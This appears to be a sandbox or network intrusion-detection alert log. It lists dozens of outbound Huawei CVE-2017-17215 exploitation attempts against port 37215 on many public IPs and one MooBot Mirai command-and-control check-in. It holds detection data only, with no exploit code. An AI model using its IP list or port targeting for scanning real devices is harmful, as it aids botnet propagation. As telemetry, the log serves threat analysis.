ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.44.236

Timestamp:	2024-08-01T15:35:21.905831+0200
SID:	2835222
Source Port:	57362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 8.77.197.97

Timestamp:	2024-08-01T15:34:58.055054+0200
SID:	2835222
Source Port:	37124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.220.124.215

Timestamp:	2024-08-01T15:35:45.477704+0200
SID:	2835222
Source Port:	35752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 135.2.114.160

Timestamp:	2024-08-01T15:35:40.231205+0200
SID:	2835222
Source Port:	47224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.50.106.1

Timestamp:	2024-08-01T15:36:34.853927+0200
SID:	2835222
Source Port:	60144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.26.10.192

Timestamp:	2024-08-01T15:36:14.832993+0200
SID:	2835222
Source Port:	38282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.127.46.94

Timestamp:	2024-08-01T15:36:22.389576+0200
SID:	2835222
Source Port:	50022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 172.128.243.228

Timestamp:	2024-08-01T15:35:20.209161+0200
SID:	2835222
Source Port:	57850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.80.49.11

Timestamp:	2024-08-01T15:35:21.879523+0200
SID:	2835222
Source Port:	36768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 195.81.117.200

Timestamp:	2024-08-01T15:36:09.886976+0200
SID:	2835222
Source Port:	36756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.188.111.116

Timestamp:	2024-08-01T15:36:06.758895+0200
SID:	2835222
Source Port:	59380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.152.57.227

Timestamp:	2024-08-01T15:36:39.041688+0200
SID:	2835222
Source Port:	39742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.23.60.168

Timestamp:	2024-08-01T15:35:21.864043+0200
SID:	2835222
Source Port:	60736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 54.184.23.126

Timestamp:	2024-08-01T15:35:28.716736+0200
SID:	2835222
Source Port:	48962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 114.84.21.38

Timestamp:	2024-08-01T15:35:20.545845+0200
SID:	2835222
Source Port:	52530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.191.33.129

Timestamp:	2024-08-01T15:35:20.216153+0200
SID:	2835222
Source Port:	38050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.71.134.31

Timestamp:	2024-08-01T15:36:15.138378+0200
SID:	2835222
Source Port:	33824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.169.248.145

Timestamp:	2024-08-01T15:35:16.731563+0200
SID:	2835222
Source Port:	34842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 121.244.99.184

Timestamp:	2024-08-01T15:35:20.207625+0200
SID:	2835222
Source Port:	45212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.91.123.73

Timestamp:	2024-08-01T15:35:20.215047+0200
SID:	2835222
Source Port:	43122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 100.221.79.154

Timestamp:	2024-08-01T15:37:00.228600+0200
SID:	2835222
Source Port:	44910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.137.230

Timestamp:	2024-08-01T15:35:35.119574+0200
SID:	2835222
Source Port:	49310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.57.101.219

Timestamp:	2024-08-01T15:35:50.268943+0200
SID:	2835222
Source Port:	52500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.137.7

Timestamp:	2024-08-01T15:35:20.209755+0200
SID:	2835222
Source Port:	38286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.10.1.56

Timestamp:	2024-08-01T15:36:46.291773+0200
SID:	2835222
Source Port:	37184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.104.103.114

Timestamp:	2024-08-01T15:35:40.238500+0200
SID:	2835222
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.129.112.145

Timestamp:	2024-08-01T15:35:43.211665+0200
SID:	2835222
Source Port:	57538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.205.173.160

Timestamp:	2024-08-01T15:35:50.296787+0200
SID:	2835222
Source Port:	52792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.216.22.19

Timestamp:	2024-08-01T15:36:09.901853+0200
SID:	2835222
Source Port:	40764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.105.246.225

Timestamp:	2024-08-01T15:36:22.352987+0200
SID:	2835222
Source Port:	51044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.74.188.160

Timestamp:	2024-08-01T15:35:20.209841+0200
SID:	2835222
Source Port:	36160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 48.79.187.128

Timestamp:	2024-08-01T15:36:44.196763+0200
SID:	2835222
Source Port:	39398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 84.84.190.161

Timestamp:	2024-08-01T15:35:17.179746+0200
SID:	2835222
Source Port:	50886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:59.276033+0200
SID:	2030490
Source Port:	53856
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.217.195

Timestamp:	2024-08-01T15:36:30.764578+0200
SID:	2835222
Source Port:	38278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.133.254.58

Timestamp:	2024-08-01T15:35:16.795564+0200
SID:	2835222
Source Port:	48030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.135.178.231

Timestamp:	2024-08-01T15:36:26.560999+0200
SID:	2835222
Source Port:	33514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.166.134.241

Timestamp:	2024-08-01T15:36:09.911958+0200
SID:	2835222
Source Port:	48502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.199.120.212

Timestamp:	2024-08-01T15:35:50.297463+0200
SID:	2835222
Source Port:	59124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.108.203.195

Timestamp:	2024-08-01T15:35:00.155908+0200
SID:	2835222
Source Port:	46644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.245.59

Timestamp:	2024-08-01T15:35:20.214965+0200
SID:	2835222
Source Port:	53014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.129.19.84

Timestamp:	2024-08-01T15:36:36.978277+0200
SID:	2835222
Source Port:	39102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 219.155.0.124

Timestamp:	2024-08-01T15:35:21.886556+0200
SID:	2835222
Source Port:	47982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.43.93

Timestamp:	2024-08-01T15:36:34.854910+0200
SID:	2835222
Source Port:	39740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.190.125.198

Timestamp:	2024-08-01T15:36:26.762812+0200
SID:	2835222
Source Port:	45192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 43.46.29.114

Timestamp:	2024-08-01T15:35:40.233634+0200
SID:	2835222
Source Port:	51742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.181.139.104

Timestamp:	2024-08-01T15:35:17.244693+0200
SID:	2835222
Source Port:	51066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.17.154.0

Timestamp:	2024-08-01T15:35:20.205200+0200
SID:	2835222
Source Port:	44322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.254.97.58

Timestamp:	2024-08-01T15:35:21.934831+0200
SID:	2835222
Source Port:	35712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.111.23.185

Timestamp:	2024-08-01T15:35:50.279093+0200
SID:	2835222
Source Port:	38794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.215.10.3

Timestamp:	2024-08-01T15:36:48.416760+0200
SID:	2835222
Source Port:	53222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.66.97.25

Timestamp:	2024-08-01T15:35:50.279007+0200
SID:	2835222
Source Port:	34138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.28.96.168

Timestamp:	2024-08-01T15:36:11.953801+0200
SID:	2835222
Source Port:	33866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.39.87.42

Timestamp:	2024-08-01T15:36:39.033717+0200
SID:	2835222
Source Port:	49092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.120.41.84

Timestamp:	2024-08-01T15:36:56.009717+0200
SID:	2835222
Source Port:	46786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.215.215.231

Timestamp:	2024-08-01T15:36:18.451938+0200
SID:	2835222
Source Port:	59556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.75.226.1

Timestamp:	2024-08-01T15:35:17.267250+0200
SID:	2835222
Source Port:	33832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.1.123.38

Timestamp:	2024-08-01T15:35:32.992496+0200
SID:	2835222
Source Port:	33174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.249.88.214

Timestamp:	2024-08-01T15:35:20.202898+0200
SID:	2835222
Source Port:	35616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 126.193.242.217

Timestamp:	2024-08-01T15:35:21.889026+0200
SID:	2835222
Source Port:	42080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 43.56.54.54

Timestamp:	2024-08-01T15:35:56.436065+0200
SID:	2835222
Source Port:	44522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.231.61.123

Timestamp:	2024-08-01T15:35:58.785931+0200
SID:	2835222
Source Port:	56180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.146.96.4

Timestamp:	2024-08-01T15:35:20.202644+0200
SID:	2835222
Source Port:	55958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.198.61.122

Timestamp:	2024-08-01T15:35:40.221916+0200
SID:	2835222
Source Port:	45538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.3.220.50

Timestamp:	2024-08-01T15:36:34.856139+0200
SID:	2835222
Source Port:	51500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.72.40.80

Timestamp:	2024-08-01T15:34:58.165188+0200
SID:	2835222
Source Port:	38350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 111.42.149.171

Timestamp:	2024-08-01T15:36:54.416268+0200
SID:	2835222
Source Port:	54640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.214.94.54

Timestamp:	2024-08-01T15:36:36.966243+0200
SID:	2835222
Source Port:	51346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.221.89.211

Timestamp:	2024-08-01T15:35:35.120561+0200
SID:	2835222
Source Port:	33674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.100.30.254

Timestamp:	2024-08-01T15:36:26.557639+0200
SID:	2835222
Source Port:	50472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.127.149

Timestamp:	2024-08-01T15:36:39.033836+0200
SID:	2835222
Source Port:	38248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 182.53.203.199

Timestamp:	2024-08-01T15:35:16.400207+0200
SID:	2835222
Source Port:	44668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 122.184.139.106

Timestamp:	2024-08-01T15:35:20.204135+0200
SID:	2835222
Source Port:	42784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.98.134.211

Timestamp:	2024-08-01T15:35:20.214699+0200
SID:	2835222
Source Port:	43700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.206.69.135

Timestamp:	2024-08-01T15:35:21.853721+0200
SID:	2835222
Source Port:	47408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 103.141.44.249

Timestamp:	2024-08-01T15:35:37.243403+0200
SID:	2835222
Source Port:	42342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.84.249.108

Timestamp:	2024-08-01T15:35:50.269926+0200
SID:	2835222
Source Port:	43462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.49.38.85

Timestamp:	2024-08-01T15:36:49.753080+0200
SID:	2835222
Source Port:	36090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 195.22.164.112

Timestamp:	2024-08-01T15:35:16.590507+0200
SID:	2835222
Source Port:	54228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 44.185.0.157

Timestamp:	2024-08-01T15:35:20.214998+0200
SID:	2835222
Source Port:	54890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 185.128.206.122

Timestamp:	2024-08-01T15:36:32.995658+0200
SID:	2835222
Source Port:	33626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.155.184.25

Timestamp:	2024-08-01T15:35:35.136338+0200
SID:	2835222
Source Port:	36788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.110.65.174

Timestamp:	2024-08-01T15:36:39.036531+0200
SID:	2835222
Source Port:	54184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.37.233.212

Timestamp:	2024-08-01T15:36:06.812029+0200
SID:	2835222
Source Port:	44804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.112.93.167

Timestamp:	2024-08-01T15:36:34.859219+0200
SID:	2835222
Source Port:	40844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.45.167.141

Timestamp:	2024-08-01T15:35:20.575016+0200
SID:	2835222
Source Port:	41764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.84.170.189

Timestamp:	2024-08-01T15:36:46.307801+0200
SID:	2835222
Source Port:	39642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 91.252.54.120

Timestamp:	2024-08-01T15:35:20.545669+0200
SID:	2835222
Source Port:	57246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.169.58.162

Timestamp:	2024-08-01T15:36:36.950042+0200
SID:	2835222
Source Port:	46098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 203.159.12.205

Timestamp:	2024-08-01T15:35:54.478875+0200
SID:	2835222
Source Port:	35020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 27.62.177.197

Timestamp:	2024-08-01T15:35:54.404118+0200
SID:	2835222
Source Port:	49168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.225.217.218

Timestamp:	2024-08-01T15:36:55.979350+0200
SID:	2835222
Source Port:	34972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.176.187.27

Timestamp:	2024-08-01T15:35:16.587308+0200
SID:	2835222
Source Port:	40028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.192.53.57

Timestamp:	2024-08-01T15:35:33.068531+0200
SID:	2835222
Source Port:	48070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 94.84.64.103

Timestamp:	2024-08-01T15:36:20.309100+0200
SID:	2835222
Source Port:	38492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.212.211.75

Timestamp:	2024-08-01T15:35:40.224848+0200
SID:	2835222
Source Port:	40978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 109.106.171.254

Timestamp:	2024-08-01T15:36:03.714341+0200
SID:	2835222
Source Port:	48722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.127.245.148

Timestamp:	2024-08-01T15:36:53.715541+0200
SID:	2835222
Source Port:	48558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.116.105.171

Timestamp:	2024-08-01T15:35:20.203840+0200
SID:	2835222
Source Port:	33478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

